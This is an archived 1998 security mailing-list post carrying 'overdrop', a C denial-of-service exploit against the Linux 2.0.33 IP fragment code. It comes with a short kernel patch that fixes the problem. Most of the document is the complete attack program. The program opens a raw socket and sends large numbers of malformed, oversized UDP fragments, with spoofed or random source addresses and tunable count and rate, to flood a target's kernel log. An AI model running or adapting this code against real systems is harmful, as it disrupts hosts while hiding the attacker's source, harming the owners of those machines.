home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / overdrop.c < prev    next >
C/C++ Source or Header  |  1998-12-09  |  5KB  |  179 lines

  1.  
  2. From lcamtuf@boss.staszic.waw.pl Sat Apr 18 09:06:58 1998
  3. Date: Sat, 18 Apr 1998 11:48:33 +0200 (CEST)
  4. From: Michal Zalewski <lcamtuf@boss.staszic.waw.pl>
  5. To: info@rootshell.com
  6. Subject: ip_fragment.c - printk() problem.
  7.  
  8. Here's a DoS exploit against Linux 2.0.33... It doesn't crash
  9. anything, but it's very annoying ;)
  10.  
  11. Fix:
  12.  
  13. --- ip_fragment.c.orig  Fri Apr 17 16:42:38 1998
  14. +++ ip_fragment.c       Fri Apr 17 17:17:15 1998
  15. @@ -345,7 +345,7 @@
  16.  
  17.         if(len>65535)
  18.         {
  19. -               printk("Oversized IP packet from %s.\n", in_ntoa(qp->iph->saddr));
  20. +               NETDEBUG(printk("Oversized IP packet from %s.\n", in_ntoa(qp->iph->saddr)));
  21.                 ip_statistics.IpReasmFails++;
  22.                 ip_free(qp);
  23.                 return NULL;
  24.  
  25. -------------------------------------------------------------------------
  26.  
  27. // http://www.rootshell.com/ - 4/18/98
  28.  
  29. // overdrop by lcamtuf [Linux 2.0.33 printk abuse]
  30. // ------------------------------------------------
  31. // based on (reaped from) teardrop by route|daemon9
  32.  
  33. #include <stdio.h>
  34. #include <stdlib.h>
  35. #include <unistd.h>
  36. #include <string.h>
  37. #include <netdb.h>
  38. #include <netinet/in.h>
  39. #include <netinet/udp.h>
  40. #include <arpa/inet.h>
  41. #include <sys/types.h>
  42. #include <sys/time.h>
  43. #include <sys/socket.h>
  44.  
  45. #define IP_MF    0x2000
  46. #define IPH    0x14
  47. #define UDPH    0x8
  48. #define PADDING    0x1c
  49. #define MAGIC    0x3
  50. #define COUNT    0xBEEF
  51. #define FRAG2    0xFFFF
  52.  
  53. void usage(char *name) {
  54.   fprintf(stderr,"%s dst_ip [ -n how_many ] [ -s src_ip ] [ -x ] (use -x for express delivery).\n",name);
  55.   exit(0);
  56. }
  57.  
  58. u_long name_resolve(char *host_name) {
  59.   struct in_addr addr;
  60.   struct hostent *host_ent;
  61.   if ((addr.s_addr=inet_addr(host_name))==-1) {
  62.     if (!(host_ent=gethostbyname(host_name))) return (0);
  63.     bcopy(host_ent->h_addr,(char *)&addr.s_addr,host_ent->h_length);
  64.   }
  65.   return (addr.s_addr);
  66. }
  67.  
  68.  
  69. void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt) {
  70.   u_char *packet=NULL,*p_ptr=NULL;
  71.   u_char byte;
  72.   struct sockaddr_in sin;
  73.   sin.sin_family=AF_INET;
  74.   sin.sin_port=src_prt;
  75.   sin.sin_addr.s_addr=dst_ip;
  76.   packet=(u_char *)malloc(IPH+UDPH+PADDING);
  77.   p_ptr=packet;
  78.   bzero((u_char *)p_ptr,IPH+UDPH+PADDING);
  79.   byte=0x45;
  80.   memcpy(p_ptr,&byte,sizeof(u_char));
  81.   p_ptr+=2;
  82.   *((u_short *)p_ptr)=htons(IPH+UDPH+PADDING);
  83.   p_ptr+=2;
  84.   *((u_short *)p_ptr)=htons(242);
  85.   p_ptr+=2;
  86.   *((u_short *)p_ptr)|=htons(IP_MF);
  87.   p_ptr+=2;
  88.   *((u_short *)p_ptr)=0x40;
  89.   byte=IPPROTO_UDP;
  90.   memcpy(p_ptr+1,&byte,sizeof(u_char));
  91.   p_ptr+=4;
  92.   *((u_long *)p_ptr)=src_ip;
  93.   p_ptr+=4;
  94.   *((u_long *)p_ptr)=dst_ip;
  95.   p_ptr+=4;
  96.   *((u_short *)p_ptr)=htons(src_prt);
  97.   p_ptr+=2;
  98.   *((u_short *)p_ptr)=htons(dst_prt);
  99.   p_ptr+=2;
  100.   *((u_short *)p_ptr)=htons(8+PADDING);
  101.   if (sendto(sock,packet,IPH+UDPH+PADDING,0,(struct sockaddr *)&sin,
  102.       sizeof(struct sockaddr))==-1) {
  103.     perror("\nsendto");
  104.     free(packet);
  105.     exit(1);
  106.   }
  107.   p_ptr=&packet[2];
  108.   *((u_short *)p_ptr)=htons(IPH+MAGIC+1);
  109.   p_ptr+=4;
  110.   *((u_short *)p_ptr)=htons(FRAG2);
  111.   if (sendto(sock,packet,IPH+MAGIC+1,0,(struct sockaddr *)&sin,
  112.       sizeof(struct sockaddr))==-1) {
  113.     perror("\nsendto");
  114.     free(packet);
  115.     exit(1);
  116.   }
  117.   free(packet);
  118. }
  119.  
  120.  
  121. int main(int argc, char **argv) {
  122.   int one=1,count=0,i,rip_sock,lag=500;
  123.   u_long  src_ip=0,dst_ip=0;
  124.   u_short src_prt=0,dst_prt=0;
  125.   struct in_addr addr;
  126.   fprintf(stderr,"overdrop by lcamtuf [based on teardrop by route|daemon9]\n\n");
  127.   if((rip_sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
  128.     perror("raw socket");
  129.     exit(1);
  130.   }
  131.   if (setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) {
  132.     perror("IP_HDRINCL");
  133.     exit(1);
  134.   }
  135.   if (argc < 2) usage(argv[0]);
  136.   if (!(dst_ip=name_resolve(argv[1]))) {
  137.     fprintf(stderr,"Can't resolve destination address.\n");
  138.     exit(1);
  139.   }
  140.   while ((i=getopt(argc,argv,"s:n:x"))!=EOF) {
  141.     switch (i) {
  142.       case 'n':
  143.         count   = atoi(optarg);
  144.         break;
  145.       case 's':
  146.         if (!(src_ip=name_resolve(optarg))) {
  147.           fprintf(stderr,"Can't resolve source address.\n");
  148.           exit(1);
  149.         }
  150.     break;
  151.       case 'x':
  152.         lag=0;
  153.         break;
  154.       default:
  155.         usage(argv[0]);
  156.         break;
  157.     }
  158.   }
  159.   srandom((unsigned)(time((time_t)0)));
  160.   if (!count) count=COUNT;
  161.   fprintf(stderr,"Sending oversized packets:\nFrom: ");
  162.   if (!src_ip) fprintf(stderr,"       (random)"); else {
  163.     addr.s_addr = src_ip;
  164.     fprintf(stderr,"%15s",inet_ntoa(addr));
  165.   }
  166.   addr.s_addr = dst_ip;
  167.   fprintf(stderr,"\n  To: %15s\n",inet_ntoa(addr));
  168.   fprintf(stderr," Amt: %5d\n",count);
  169.   fprintf(stderr,"[ ");
  170.   for (i=0;i<count;i++) {
  171.     if (!src_ip) send_frags(rip_sock,rand(),dst_ip,rand(),rand()); else
  172.       send_frags(rip_sock,src_ip,dst_ip,rand(),rand());
  173.     fprintf(stderr, "b00z ");
  174.     usleep(lag);
  175.   }
  176.   fprintf(stderr, "]\n");
  177.   return (0);
  178. }
  179.